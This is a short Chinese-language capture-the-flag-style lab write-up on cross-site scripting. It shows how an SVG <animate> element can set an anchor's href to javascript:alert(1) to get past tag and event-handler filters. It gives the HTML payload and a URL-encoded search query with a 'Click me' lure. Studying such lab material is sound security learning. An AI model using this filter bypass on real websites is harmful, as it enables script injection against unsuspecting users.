# Cross-site scripting Lab27 本題是事件處理器 (like onclick) 和 `<a href>` 都被封鎖的狀況。 目標: - 只能使用允許的標籤(像是 SVG 裡的 <animate>) - 禁止 href 與 JS event handlers - 必須讓模擬使用者主動點擊 - Payload 必須包含文字 "Click" 一樣先進入網站。  一樣寫一個 URL: 使用 SVG 和 `<animate>`,SVG 是少數在瀏覽器中能繞過一些事件與 `href` 限制的區域,因為: - `<a>` 內的 `<animate>` 可以對 href 屬性設值。 - 這讓 `<a>` 變成有JavaScript 行為的超連結。 - 點了 `<text>` 就會觸發 ```html <svg> <a> <animate attributeName=href values=javascript:alert(1) /> <text x=20 y=20>Click me</text> </a> </svg> ``` - `<svg>`:繞過 HTML tag 白名單限制 - `<animate>`:用 `attributeName=href`,把值設為 `javascript:alert(1)` - `<text>`:模擬出「Click me」按鈕,引誘使用者點擊 合在一起後再用 URL 編碼後: ```url ?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E ```   ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up